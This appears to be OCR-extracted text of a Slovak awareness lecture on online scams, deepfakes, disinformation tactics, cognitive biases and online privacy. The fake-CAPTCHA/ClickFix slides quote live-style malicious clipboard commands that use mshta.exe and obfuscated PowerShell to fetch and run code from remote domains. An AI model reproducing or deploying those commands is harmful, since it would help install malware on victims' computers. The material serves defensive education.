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UVOD - PREPOJENY SVET, NOVE HROZBY

Internet je neoddelitelnou sucastou nasich zivotov.
Platime ucty.
Nakupujeme.
Komunikujeme s uradmi a blizkymi.

Tato digitalna prepojenost prinasa pohodlie, ale zaroven otvara dvere online
podvodom, ktoré sa stali kazdodennou hrozbou. Dnes Celime masivnym, dobre
organizovanym kampaniam cielenym na vSetky vekove kategorie.




CO JE ONLINE PODVOD?

Hacknutie mysle, nie pocitaca.

V jadre nejde o technicky utok. Je to forma psychologickej manipulacie.

Cieflom podvodnika je presvedcit vas, aby ste DOBROVOLNE urobili nieCo
proti vasim zaujmom.




KLUCOVA ZBRAN PODVODNIKA: HRA NA EMOCIE

Aby vas podvodnik donutil konat rychlo a bez premyslania,
takmer vzdy vyuziva silné emocie.

Ked porozumiete tymto spustacom, dokazete podvod l[ahsSie
odhalit.




KOMPONENTY EKOSYSTEMU: DEEPFAKE SCAMS
& Al VOICE SPOOFING

Definicia: Deepfake a Al voice spoofing su techniky, kde umela inteligencia
vytvara hyper-realistické falosné videa a audio nahravky, ktoré vyzeraju a

zneju ako skutocné osoby.




KOMPONENTY EKOSYSTEMU: DEEPFAKE SCAMS
& Al VOICE SPOOFING

Ako funguju tieto podvody

« Scammeri ziskaju kratky zvukovy alebo obrazovy material (napr. z videi na socialnych
sietach) a pomocou Al nastrojov ho pouziju na generovanie faloSnej identity.

» Vysledkom je autenticky pésobiaca komunikacia, napr.:
« telefonat od ,blizkej osoby” prosiaci o urgentné peniaze
 video s ,veducim firmy*, ktory schvaluje faloSnu transakciu
* hlasenie od ,zamestnanca“ alebo politika s poziadavkami Ci vyjadreniami, ktoré neboli povedané

https://www.mcafee.com/learn/a-guide-to-deepfake-scams-and-ai-voice-spoofing/



AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - VOICE SPOOFING

Al klonovanie hlasu (voice spoofing)

Technologicky zaklad:
* syntéza hlasu

» Casto vyuzitie GAN (Generative Adversarial Networks)

https://www.mcafee.com/learn/a-guide-to-deepfake-scams-and-ai-voice-spoofing/



AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - VOICE SPOOFING

Pocet akademickych prac o GAN publikovanych roc¢ne

https://www.securityhero.10/state-of-deepfakes/#advancements-in-deepfake-techonology



AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - VOICE SPOOFING

Proces v 3 krokoch:
1. Zber dat
« StaCi niekolko sekund hlasu (Zdroj: socialne siete, podcast, voicemail, zakaznicka linka)

e 2. Tréning modelu
Al analyzuje: vysSku hlasu (pitch), ton, prizvuk, tempo reci, dychanie, individualne hlasové
biomarkery

https://www.mcafee.com/learn/a-guide-to-deepfake-scams-and-ai-voice-spoofing/
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AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - VOICE SPOOFING

Proces v 3 krokoch:

3. Generovanie hlasu

« Utoénik napise text

Al vytvori audio nahravku

« GAN model opakovane porovnava vystup s originalom
* Proces sa zopakuje tisice krat, kym je hlas realisticky

Vysledok: presvedCivy hlas pouzity pri vishingu (voice phishingu) alebo vo videu.

https://www.mcafee.com/learn/a-guide-to-deepfake-scams-and-ai-voice-spoofing/
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AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - DEEPFAKE VIDEO

» Podobny princip ako pri hlasovej klonacii.

* Rozdiel: namiesto hlasu sa pouzivaju obrazky a videa osoby

« Al analyzuje: tvar z r6znych uhlov, mimiku, pohyby, osvetlenie, gesta a mannerizmy
« Cim viac dat ma, tym realistickejsi deepfake vznikne.

« Staci niekolko sekund hlasu alebo par videi zo socialnych sieti.

https://www.mcafee.com/learn/a-guide-to-deepfake-scams-and-ai-voice-spoofing/
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AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - DEEPFAKE VIDEO

Preco to je problém

» Deepfake podvody sa masivne rozsiruju, pretoze:

« nastroje na ich tvorbu su Coraz lacnejSie a l'ahko dostupné

« staCi len kratky usek hlasu alebo videa, aby Al vytvorila presvedcivu kopiu

* UtoCnici tym dokazu oklamat ludi i podniky
Tieto techniky sa pouzivaju nielen na finan¢éné podvody, ale aj na politicku dezinformaciu
a reputacné skody.

https://www.mcafee.com/learn/a-guide-to-deepfake-scams-and-ai-voice-spoofing/
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NVIDIA DGX SPARK FE - 940-54242-0005-000

Al performance: 1 petaFLOP

Memory type: LPDDR5x

Memory speed: 273 GB/s

Maximum memory size: 128 GB
Integrated GPU: NVIDIA Grace Blackwell

I50mm L x 150 mm W x 50.5 mm H

Jeden petaFLOPS sa rovna 10> alebo 1 000 000 000 000
000 (1 quadrillion ) operaciam s plavajiacou desatinnou
Clarkou za sekundu.
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AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - DEEPFAKE VIDEO

 CEO podvody: Al hlas ,Séfa" Ziada autorizaciu falosnej platby (v minulosti uz spésobil
milionové straty).

+ ,,Grandparent scam®: seniorovi vola ,vnuk® s krikom a nalieha na urgentny prevod penazi
— hlas je generovany Al.

» Politické ovplyvnovanie: falSované hlasy volaju voliCov s dezinformaciami o volbach.

https://www.mcafee.com/learn/a-guide-to-deepfake-scams-and-ai-voice-spoofing/ 15



TAXONOMIA PODVODOV: INVESTICNE A
KRYPTOMENOVE PODVODY

Patria medzi finan¢ne najniCivejSie.
Scenar:

1. ZacCina reklamou na socialnych sietach, ktora sfubuje nerealne zisky a zneuziva tvare znamych
osobnosti (Casto deepfake videa).

2. Obet sa zaregistruje, nasledne jej telefonuje "financny agent”.
3. PresveddCi ju na malu prvotnu investiciu (napr. 250 €).
4. Neskor ju manipuluje k instalacii softveru na

» vzdialeny pristup (Anydesk, Teamviewer), ¢im ziska plnu kontrolu nad jej pocitacom a
bankovnictvom.

16



TAXONOMIA PODVODOV: ROMANTICKE
PODVODY (CATFISHING)

Cielia na emodcie a osamelost’ obeti. Slovensko patri medzi krajiny s vysokym vyskytom tychto
podvodov.

Fazy utoku:
1. Vytvorenie falosného profilu: Atraktivne fotky, presvedcivy pribeh (vojak, lekar v zahranici).

2. Budovanie vzt'ahu: Intenzivna komunikacia, vyznania lasky ("love bombing").

3. Ziadost' o peniaze: Pod dramatickou zamienkou (nahle zdravotné problémy, kradez dokladov,

peniaze na letenku).

4. Opakované ziadosti: Ak obet zaplati, ziadosti sa stupriuju.
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TAXONOMIA PODVODOV: FALOSNA TECHNICKA
PODPORA

Snazia sa obet presvedCit, ze jej zariadenie je v ohrozeni.
Scenar:

Na obrazovke sa objavi agresivne vyskakovacie okno (pop-up) s varovanim o
viruse a vyzvou na zavolanie na uvedené Cislo "technickej podpory".

. Alebo obet prijme nevyziadany telefonat od "technika" napr. z Microsoftu.

Cielom je presvedcCit obet, aby udelila vzdialeny pristup k pocitaCu, za Co si
nasledne vypytaju platbu alebo nainstaluju malware.
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DEEPFAKE PODVOD - BRAD PITT ROMANCE SCAM

« Scammeri vyuzili Al generované obrazky a emocionalne spravy, aby sa vydavali za
Brad Pitta a nadviazali ,romanticky vztah“ s obetou online.

» Falosné profily a manipulacia vybudovali déveru az do momentu, ked obeti bolo povedané,
ze ,Brad Pitt* potrebuje milion dolarov na lie€bu choroby a nema pristup k vlastnym
financiam.

« Obet skutocne poslala $850 000 podvodnikovi, ktorého komunikacia trvala dlhé mesiace,
kym sa pravda neobjavila cez verejné vystupenie herca s inou osobou.

https://www.mcafee.com/blogs/internet-security/brad-pitt-romance-scam-explained-how-to-prevent-scams/ 19



AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - BRAD PITT ROMANCE SCAM

https://www.mcafee.com/blogs/internet-security/brad-pitt-romance-scam-explained-how-to-prevent-scams/ 20



AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD BRAD PITT ROMANCE SCAM

https://www.mcafee.com/blogs/internet-security/brad-pitt-romance-scam-explained-how-to-prevent-scams/ 21



AKO FUNGUJE Al VOICE CLONING A DEEPFAKE
PODVOD - BRAD PITT ROMANCE SCAM

Varovné ukazatel'e takychto podvodov:

* nepravdepodobné osobné oslovenie celebritou,
* rychlost budovania dévery a déraz na peniaze,
 vyhybanie sa osobnému stretnutiu.

https://www.mcafee.com/blogs/internet-security/brad-pitt-romance-scam-explained-how-to-prevent-scams/ 99



DEEPFAKE

Sprava o stave deepfakes v roku 2023: realita, hrozby a dopad je silnym nastrojom na
zvySovanie povedomia o technologii deepfakes a ochranu mas pred jej negativnymi
ucCinkami.

Praca vychadza z komplexnej analyzy 95 820 deepfake videi, 85 Specializovanych kanalov
naprieC online platformami a dékladného preskumania viac ako 100 webovych stranok
prepojenych s ekosystémom deepfakes.

» Deepfake pornografia tvori 98 % vsetkych deepfake videi online.

» Celkovy pocet zhliadnuti videi na desiatich najvyznamnejsich webovych strankach s
deepfake pornografiou je 303 640 207.

https://www.securityhero.io/state-of-deepfakes/#tadvancements-in-deepfake-techonology
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PSYCHOLOGIA KLAMU: PRECO PODVODY
FUNGUJU?

Uspech podvodov je zakoreneny v systematickom zneuZivani
univerzalnych psychologickych mechanizmov.

Uto&nici necielia na IQ, ale na

emocie a kognitivne skratky, ktore su sucastou ludske;
psychiky.
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POKROCILE PODVODY: CLICKFIX

Uto¢nik simuluje chybu alebo bezpeénostny problém a presvedéi pouZivatela, Ze:

« ,Staci kliknat' / povolit' / spustit’ / opravit — a problém zmizne.“

V skutocnosti tym pouZzivatel”:

* spusti Skodlivy kod

» povoli nebezpecné nastavenie
* nainStaluje malware

 alebo odovzda pristupove udaje
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POKROCILE PODVODY: CLICKFIX

Typické typy ClickFix atokov:

« FaloSné bezpecnostné upozornenia (Fake alerts) - Your computer is infected, Critical
Windows error, Security update required

» Falo3né aktualizacie (Fake updates) - Update your browser, Update Flash / Teams /
Zoom, Fix compatibility issue

» Fake IT Support / Helpdesk - IT detected an issue on your device
Utok nevyuziva vlastny malware, ale Windows nastroje:
* mshta.exe, powershell.exe,rundll32.exe,wscript.exe

Pouzivatel . klikne na opravu®, ale sam spusti Skodlivy prikaz
) )
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POKROCILE PODVODY: FALOSNHO CAPCHA

Uzivatelia su privitani obrazovkou, ktora vyzera ako typicka obrazovka na
overenie toho, Ci1 s1 ¢lovek alebo automatizovany bot. Namiesto klikania na

Ve Please complete these steps tc
r y 1 rot

oznacenie obrazkov sa ale zobrazia iné inStrukcie

Verify You Are Human

1. Press & hold the Windows Key + R
\' 2. In the verification window, press Ctrl « V
3. Press Enter Yy Keyboa

I'm not a robot

27



POKROCILE PODVODY: FALOSNHO CAPCHA

Spravidla tento test pozaduje
stlacenie kombinacie klavesov pre
overenie.

Nasledne chce, aby uzivatel stlacil
kombinaciu klaves Win+R a
Ctrl+V a potvrdil Enter.

Verification
Steps

1. Press Windows
Button " + R

2.Press CTRL +V

3. Press Enter

28



POKROCILE HROZBY: FALOSNHO CAPCHA

@ Security Check

o maSivné kamp al\’/l S falognou < C  2((pub-7a05259211f541193db83d7303c6ees .r2.dev)verify-me-first-vi.htmi ¢ tn}

— = pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev
capcha -

* ponuka na stiahnutie rdznych
pdf suborov, stiahnutie S
hl'adané¢ho kontextu, suborov 0 e | 4
alebo videi (cloudfare alebo 1né
uloziska)




POKROCILE PODVODY: FALOSNHO CAPCHA

Co sa stane stlacenim klaves a ako utok

prebieha:
o Klavesovou skratkou Win +R sa otvori
Windows okno RUN kde je mozné zadat = fi‘iiﬁ?i,ZZ?ﬁ-ﬁﬁZi’ﬁ'v?f.“;;i'n"i"fi°§§$ s

prikaz na spustenie.
* Pomocou skratky CTRL + V sa nakopiruje — —

obsah ktory sa pr1 otvoreni web stranky

nakopiroval do nasSej schranky:.

Open: l 4 "l am not a robot - reCAPTCHA Verification ID: 8370
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POKROCILE PODVODY: FALOSNHO CAPCHA

Prikaz ktory sa kopiruje obsahuje obycCajne tieto inStrukcie:

CAWINDOWS\system32\mshta.exe” hxxps://inspyrehomedesign[.Jcom/Ray-verify.html # Verify you
are human - Ray Verification 1D: 6450

Ina varianta

powershell -w 1 powershell -Command ('ms]]Iht]]a]ll.]]]exe hilt]ps://clhellckjlvlsz.)shlop/glkodv.gloallg]le?
I=85caZ2abd-a745-4ed2-8da7-ad016c512190" -replace ) # I am not a ‘robot’ - CAPTCHA Verification 1D: 8890
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KLUCOVA OBRANA PRI FALOSNEJ TECHNICKEJ
PODPORE

Legitimne chybové hlasenia od spolocnosti ako Microsoft
NIKDY NEOBSAHUJU vyzvu na telefonicky kontakt alebo telefénne &islo.

Nikdy neudelujte vzdialeny pristup k vasmu zariadeniu neznamej osobe,
ktora vas sama kontaktovala.

. Spolocnosti ako Microsoft vas nikdy nebudu proaktivne telefonicky
kontaktovat ohladom virusu vo vasom pocitaci.
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PO UTOKU: CO ROBIT, AK SA STANETE OBETOU?

V takejto situacii je kluCcove zachovat rozvahu a konat

rychlo a systematicky. Efektivna reakcia moéze vyrazne znizit
skodly.

Prvoradym cielom je okamzite zabranit’ dalsim skodam.
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VYZVA INFORMACNEJ ERY

Zijeme v ére bezprecedentného pristupu k informaciam.

Digitalne prostredie je presytené datami, Co prinasa zasadnu vyzvu:
schopnost odliSit pravdu od fikcie.

Dezinformacie a manipulacné kampane sa stali integralnou sucastou
moderneho sveta, sofistikovanym nastrojom ,informacnej vojny“ a beznou
sucastou politickych a geopolitickych subojov.
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CIEL DEZINFORMACII

Cielom nie je len Sirit nepravdy, ale systematicky podkopavat zaklady otvorenej
spolocnosti.
Tymito zakladmi su:

. Do6vera v media.

. Do6vera vo vedu.

. Do6vera v demokraticke institucie.

- Vzajomna dovera medzi ludmi.

DezinformaCné kampane aktivne prispievaju k polarizacii spolocnosti a prehlbuju
existujuce rozpory.
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0D MEDIALNEHO PROBLEMU KU KOGNITIVNEJ

BEZPECNOSTI

Dezinformacie nie su statickou hrozbou; su dynamickym a adaptabilnym
protivnikom.

Tvorcovia parazituju na existujucom strachu, neistote a napati pocas kriz.

Siria sa prostrednictvom tej istej digitalnej infrastruktury, ktord chranime pred
malvérom.

Uto&nik dokaZe pomocou botnetov, zneuzitych API a Al-generatorov zasiahnut
miliony pouzivatelov rychlejSie nez tradicny fact-checking.

Formuje sa nova disciplina ,,cognitive security“ (kognitivha bezpecnost’),
ktora spaja technické opatrenia, incident-response a medialnu gramotnost.
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ANATOMIA INFORMACNYCH HROZIEB

. Na efektivhu obranu je nevyhnutné presne rozumiet pojmom.
. Pojmy sa lisia v dvoch kluCovych dimenziach:
pravdivost’ obsahu a umysel Sirenia.

. Pochopenie tychto nuans je zakladom pre volbu spravne;
obrannej strategie.
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ROZLISOVANIE POJMOV: MISINFORMACIA

Definicia: Nepravdiva alebo nepresna informacia, ktora je Sirena bez
vedomého umyslu poskodit’ alebo klamat.

Motivacia: Siritel si 6asto neuvedomuje, Ze zdiela nepravdu; kona z
omylu, neznalosti alebo na zaklade nespravnej interpretacie.

Priklad: Zdielanie starého Clanku v domneni, zZe ide o aktualnu spravu.
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ROZLISOVANIE POJMOV: DEZINFORMACIA

Definicia: Nepravdiva informacia, ktora je vytvarana a Sirena so
zamernym cielom klamat, uviest' do omylu, poskodit jednotlivca, skupinu,
organizaciu alebo stat.

Charakteristika: lde o vedomé a systematické klamanie, Casto vyuzivaneé
na presadzovanie politickych, ideologickych alebo komercnych cielov.

Priklad: Cielené kampane Siriace faloSné spravy o politickych oponentoch
pred volbami.
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ROZLISOVANIE POJMOV: MALINFORMACIA

Definicia: Informacia, ktora je sice zalozena na pravde, ale je pouzita
manipulativne (napr. vytrhnuta z kontextu, zveliCena) s cieflom sp6sobit
skodu.

. Skodlivost’: Spogiva v spdsobe, akym je pravdiva informacia pouZita.

Priklad: Zverejnenie sukromnej komunikacie osoby s cielom poskodit’ jej
reputaciu (doxing).
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ARGUMENTACNE FAULY A MANIPULATIVNE
TECHNIKY

Rbzne taktiky, ktoré stoja za manipulaciou s informaciami,
dezinformaciami a faloSnymi spravam:

* Hra na emocie

 Polarizacia

e Zaplavenie informacného priestoru

* \/vuzitie konfirmacnej zaujatosti

* Manipulacia s kontextom

« Utok a umléanie kritickych hlasov

https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/ odhalovanie-dezinformacii—sest-taktiﬁ
ktore-nas-oklamali-videa


https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#hra-na-emcie-5
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#hra-na-emcie-5
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#polarizcia-2
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#polarizcia-2
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#zaplavenie-informanho-priestoru-10
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#zaplavenie-informanho-priestoru-10
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#vyuitie-konfirmanej-zaujatosti-8
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#vyuitie-konfirmanej-zaujatosti-8
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#manipulcia-s-kontextom-9
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#manipulcia-s-kontextom-9
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#tok-a-umlanie-kritickch-hlasov-9
https://www.europarl.europa.eu/topics/sk/article/20250227STO27081/odhalovanie-dezinformacii-sest-taktik-ktore-nas-oklamali-videa#tok-a-umlanie-kritickch-hlasov-9

ARGUMENTACNE FAULY A MANIPULATIVNE
TECHNIKY

Polarizacia

» Polarizacia je taktika, ktora zosilnuje najextrémnejSie nazory a zaroven potlaca umiernené
alebo diferencované nazory.

Jeho ciefom je zasiat rozdelenie, premenit spoluobCanov na nepriatelov a v extrémnych
pripadoch podnecovat fyzické konflikty.
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ARGUMENTACNE FAULY A MANIPULATIVNE
TECHNIKY

Zaplavenie informaéného priestoru

» Ciefom "zaplavujucej" dezinformacnej taktiky je premoct fudi protichodnymi verziami pribehu.

Tieto konfliktné verzie maju za ciel prinutit fudi, aby sa vzdali alebo prestali hfadat fakty uplne
kvOli ich zmatku a pochybnostiam. To méze narusit doveru v média a demokraticke institucie a

viest' k apatii a odmietaniu objektivnej reality.
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ARGUMENTACNE FAULY A MANIPULATIVNE
TECHNIKY

Vyuzitie konfirmacnej zaujatosti

« Mame tendenciu déverovat informaciam, ktoré su v sulade s nasimi presvedceniami,
fenoménom znamym ako skreslenie potvrdenia.

RozSirovatelia dezinformacii to vyuzivaju na oslovenie uz existujucich nazorov konkrétneho
publika.
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ARGUMENTACNE FAULY A MANIPULATIVNE
TECHNIKY

Manipulacia s kontextom

* Dezinformacie su Casto o prezentovani skutocnych faktov, fotografii alebo vyhlaseni mimo kontextu
s ciel'om zavadzat, a nie vytvarat uplne nepravdivé pribehy. Fakty mozu vyzerat doveryhodne, ale
moZu byt pouzité klamlivym sp6sobom.

Priklady zahfnaju pouzitie starej fotografie, ako keby bola aktualna, skreslenie vyhlasenia alebo
priradenie nazoru jednej osoby k celej skupine.
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ARGUMENTACNE FAULY A MANIPULATIVNE
TECHNIKY

Utok a umléanie kritickych hlasov

* Medzi umlciavacie taktiky patri zaplavovanie socidlnych médii osobnymi utokmi, pouzivanie
trollov alebo deepfakeov s umelou inteligenciou na zastrasovanie, obtazovanie, zosmieSnovanie,
alebo skresl'ovanie jednotlivcov s cielom presadit’ autocenzuru a potlacit nesuhlas.
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PSYCHOLOGIA ZRANITELNOSTI: PRECO VERIME

NEPRAVDAM

Uspech dezinformacii prameni z hibokého pochopenia a zneuzivania zakladnych
mechanizmov [udskej psychiky.

Dezinformacie neutocCia na nasu logiku, ale na:

- Nasu potrebu mentalnych skratiek.

- Silu emocii.

. Tuzbu po socialnej prislusnosti.

. Su to produkty navrhnuté tak, aby "hackli" nasu kognitivnu architekturu.
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KOGNITIVNE SKRATKY A SKRESLENIA

. Nas mozog pouziva mentalne skratky (heuristiky) na rychle
rozhodovanie.

. Tieto skratky mozu viest k systematickym chybam v usudku —
kognitivhym skresleniam.

. Dezinformatori tieto predvidatelné chyby cielene zneuzivaju.
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KLUCOVE KOGNITIVNE SKRESLENIA (1/2)

Konfirmaéné skreslenie (Confirmation Bias):
- Tendencia vyhladavat, interpretovat’ a pamatat’ si informacie, ktoré potvrdzuju nase existujuce
nazory.
- Dezinformacia, ktora rezonuje s naSim svetonazorom, sa nam javi ako déveryhodnejsia.
Kotvenie (Anchoring):
- Tendencia prili$ sa spoliehat na prvu informaciu ("kotvu"), ktord o téme dostaneme. Tato "kotva"
ovplyvnuje vnimanie vSetkych nasledujucich informacii.
Hal6 efekt (Halo Effect):

- Nas celkovy dojem z osoby alebo institucie ovplyviiuje hodnotenie ich konkrétnych vyrokowv.
Sme nachylnejsi verit autoritam, ktoré mame radi.
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KLUCOVE KOGNITIVNE SKRESLENIA (2/2)

Stadovy efekt (Bandwagon Effect):
. Tendencia prijimat nazory jednoducho preto, lebo sa zda, ze ich prijima vela
inych ludi.
-V online prostredi sa to prejavuje doverou v prispevky s vysokym pocCtom
lajkov a zdielani.
Klam prezivsich (Survivorship Bias):
- Logicky klam, pri ktorom sa sustredime len na uspesné pripady ("prezivSich")
a ignorujeme tie neuspesne.
. To vedie k skreslenym a prilis optimistickym zaverom.
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SILA EMOCII: KED CITENIE PREMOZE MYSLENIE

Dezinformacné kampane cielene vyuzivaju emocnu manipulaciu na obchadzanie
kritickeho myslenia.

Obsah, ktory vyvola silny hnev, strach alebo sucit, znizuje nasu schopnost racionalne
analyzovat fakty.

Algoritmy socialnych sieti tento efekt zosilnuju, pretoze uprednostnuju obsah, ktory
generuje silné emocCné reakcie.

Tvorcovia dezinformacii tak vytvaraju obsah "Sity na mieru" tymto algoritmom.
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SOCIALNA IDENTITA A INFORMACNE BUBLINY

Sme nachylnejsi verit informaciam od Clenov nasej vlastnej skupiny (in-group
bias).

Algoritmy socialnych sieti nas uzatvaraju do "informaénych bublin™ (echo
chambers), kde sme menej vystaveni odliSnym nazorom.

V tychto bublinach su nase presvedcenia neustale potvrdzované, Co posilnuje
konfirmacné skreslenie a vedie k polarizacii.

Dezinformacia sa v bubline Siri takmer bez odporu.
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ARZENAL pEZINFORMATORA: TAKTIKY A
TECHNOLOGIE

Moderné dezinformacné kampane su premyslené operacie vyuzivajuce
psychologické taktiky a sofistikovaneé technologie.

. Vyvoj smeruje od prekrucania reality k vyrobe falosnej spolocenskej zhody
a az k syntetickej alternativnej realite.
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ARGUMENTACNE FAULY A MANIPULATIVNE
TECHNIKY

Su to logické chyby a rétoricke triky, ktoré vytvaraju iluziu platného argumentu.
Najcastejsie fauly:

o

o

o

Utok ad hominem: Utok na osobu namiesto argumentu.

Slameny panak (Straw man): Vyvratenie skreslenej verzie argumentu oponenta.
Vytrhavanie z kontextu (Quote mining): Zmena vyznamu citatu jeho vytrhnutim z
kontextu.

Falosna dilema: ZjednodusSenie volby len na dve moznosti.

Acohentizmus (Whataboutism): Odvratenie pozornosti protiutokom.

Vyberanie &eresnidiek (Cherry picking): U&elovy vyber dat podporujucich vlastny
narativ.
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UMELO VYTVORENA PODPORA

DezinformaCné kampane zneuzivaju stadovy efekt v priemyselnom meradle.

Astroturfing: Klamliva praktika, kde sa organizovana kampan maskuje ako
spontanny prejav vole obCanov.

Trolie farmy: Organizované skupiny platenych "trollov", ktoré koordinovane Siria
dezinformacie a manipuluju online diskusie.

Boti: Automatizované softverové programy, ktoré masovo vytvaraju a Siria obsah
s cieflom umelo zosilnit dosah kampani.
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TEAM JORGE

‘Aims’: the software for hirethatcan Team Jorge. Izraelski hackeri tajne
control 30,000 fake online profiles ovplyviiovali za stamiliény volby po

Exclusive: Team Jorge disinformation unit controls vast CEIOm svete
army of avatars with fake profiles on Twitter, Facebook,
Gmail, Instagram, Amazon and Airbnb

Revealed: the hacking and
disinformation team meddling in
elections

‘Team Jorge’ unit exposed by undercover investigation

Group sells hacking services and access to vast army of
fake social media profiles

Evidence unit behind disinformation campaigns across
world

Mastermind Tal Hanan claims covert involvement in 33
presidential elections 56




PRIBUZNE FENOMENY

Hoax: Specificky format poplasdnej, falodnej alebo Zartovnej spravy, Sirenej
primarne cez internet (e-maily, socialne siete).

Propaganda: Siri pojem pre systematické ovplyviiovanie verejnej mienky.
Dezinformacia je jednym z jej kfuCovych nastrojov.

Clickbait: Technika tvorby obsahu (najma titulkov) s ciefom maximalizovat
pocet kliknuti vyuzivanim silnych emacii, Casto na ukor presnosti.
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PRECO JE SUKROMIE DOLEZITE?

Kazda online interakcia zanechava digitalnu stopu.
Tieto stopy tvoria detailny obraz nasSich zivotov, preferencii a spravania.

Pochopenie a ochrana online sukromia je zakladnou poziadavkou pre
zachovanie

osobnej autonémie a bezpec€nosti v 21. storoci.

Vedomie neustaleho monitorovania moéze viest k cenzure vlastného
spravania, znamej ako "chilling effect” (odstrasujuci ucinok).
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EVOLUCIA DIGITALNEHO SUKROMIA

Od prava "byt’ nechany na pokoji” k pravu na aktivhu kontrolu.
Moderné chapanie sukromia sa sustreduje na pravo jednotlivca
kontrolovat’, ako su jeho osobné informacie zhromazdované, ukladané, spracovavané a
zdielané.
Cielfom nie je absolutne zamedzenie pristupu k informaciam, ale
riadenie tohto pristupu.

Sukromie sa meni z pasivneho stavu anonymity na

 aktivny a nepretrzity proces spravy vilastnej digitalnej identity.
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LEGISLATIVNY RAMEC: GDPR

Vseobecné nariadenie o ochrane udajov (GDPR)
Jeden z najkomplexnejsich a najprisnejSich pravnych ramcov na ochranu sukromia na
svete.
Udeluje jednotlivcom konkrétne a vynutitelné prava:
- Pravo na pristup k svojim udajom.
- Pravo na ich opravu.
- Pravo na ich vymazanie ("pravo byt zabudnuty").
- Pravo na obmedzenie spracuvania a prenosnost udajov.
Organizacie musia konat transparentne a ziskat platny a informovany suhlas so
spracovanim udajov.
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DIGITALNA STOPA: AKO SME SLEDOVANI?

Kazda nasa aktivita na internete je aktivne zbierana a analyzovana s
cielom vytvorit' Co najpresnejsi profil pouzivatela.

Mnohée sledovacie technoldgie su navrhnuté tak, aby boli pre bezného
pouzivatela neviditelnée.

Existuje priepast medzi vhimanou a realnou urovinou sukromia, ¢o
vedie k podceneniu hrozieb.

61



NEVIDITELNI SPIONI A ZBER DAT NA
SOCIALNYCH SIETACH

. Sledovacie pixely (Web beacons): Miniaturne, neviditelné obrazky (1x1 pixel)
viozené do webov alebo e-mailov, ktoré pri nacitani signalizuju, ze obsah bol
Zobrazeny.

IP adresa: Odhaluje vasu pribliznu geograficku polohu a poskytovatela internetu.

. Aktivita mimo platformy: Socialne siete vas sleduju naprie€ celym internetom
pomocou:

- Socialnych pluginov (tlacidla "Paci sa mi to").
. Facebook Pixel (sledovaci kod na e-shopoch).
- Prihlasenia cez socialne siete.
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Udaje, ktoré poskytne pouzivatel sam
(Bezné pri registracii, nakupe alebo pouzivani sluzby)

Meno, e-mail, teleféonne Cislo

FakturaCna adresa, doruCovacia adresa

Platobné udaje (niekedy samotna karta nie je ulozena, iba tokenizovana)
Preferencie uctu (jazyk, nastavenia, profily)

Obsah, ktory pouzivatel pridava (komentare, videa, recenzie)
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Technickeé a prevadzkové udaje zbierané automaticky
(Udaje o zariadeni a prehliadagi)

typ zariadenia (mobil, PC, tablet)

operacny system (Windows, iOS, Android...)

typ a verzia prehliadaca (Chrome, Safari...)

rozlisenie obrazovky

nastaveny jazyk prehliadacCa

IP adresa (z nej mozno odvodit pribliznu geolokaciu)

informacie o siete (poskytovatel, typ pripojenia)

nastavenie cookies, podporované technologie (JavaScript, WebGL...)
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Technickeé a prevadzkové udaje zbierané automaticky
(Udaje o zariadeni a prehliadagi)

Typ Gdajov mm

IP adresa

Typ zariadenia / OS V \/ \/ V
Browser, verzia, jazyk <« % % 2
Rozlidenie obrazovky « 4 % 4
Systémové & 4 /A /A
nastavenia

Geolokacia (z IP) % 4 2 4




NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Technickeé a prevadzkové udaje zbierané automaticky
(Udaje o aktivite pouzivatela)
E-shopy, YouTube, socialne siete Ci medialne weby sleduju:

kliknutia na stranke

cas straveny na jednotlivych sekciach

videa, ktoré pozerate a ako dlho

produkty, ktore si prezerate

co vlozite do kosika

spb6sob pohybu po stranke (heatmapy, skrolovanie)

z akeho zdroja ste na stranku prisli (Google, reklama, newsletter...)

Tieto udaje su vyuzivané najma na personalizaciu obsahu a reklam
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NEVIDITELNI SPIONI AKE UDAJE 0 POUZIVATELOCH SA

BEZNE ZBIERAJU?

Cookies a podobné technologie
Moderné weby vyuzivaju kombinaciu:

Cookies (identifikacia pouzivatela medzi navstevami)
LocalStorage / SessionStorage

Tracking pixely (napr. Facebook Pixel)
